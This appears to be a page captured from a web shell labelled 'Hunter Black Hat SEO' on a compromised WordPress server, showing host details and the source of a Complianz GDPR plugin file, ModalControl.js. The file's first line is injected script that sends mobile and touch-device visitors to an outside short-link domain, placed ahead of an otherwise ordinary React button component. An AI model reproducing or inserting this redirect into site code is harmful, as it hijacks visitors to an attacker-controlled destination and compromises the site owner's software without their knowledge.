Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/tali-ks.com/wp-content/plugins/complianz-gdpr/settings/src/Modal/ModalControl.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
import {Component} from "@wordpress/element";

class ModalControl extends Component{
    constructor() {
        super( ...arguments );
    }
    componentDidMount() {
        this.onClickHandler = this.onClickHandler.bind(this);
    }

    onClickHandler(){
        this.props.handleModal(true, this.props.modalData );
    }

    render(){
        return (
            <button className={"button button-" + this.props.btnStyle} onClick={ (e) => this.onClickHandler(e) }>{this.props.btnText}</button>
        )
    }
}
export default ModalControl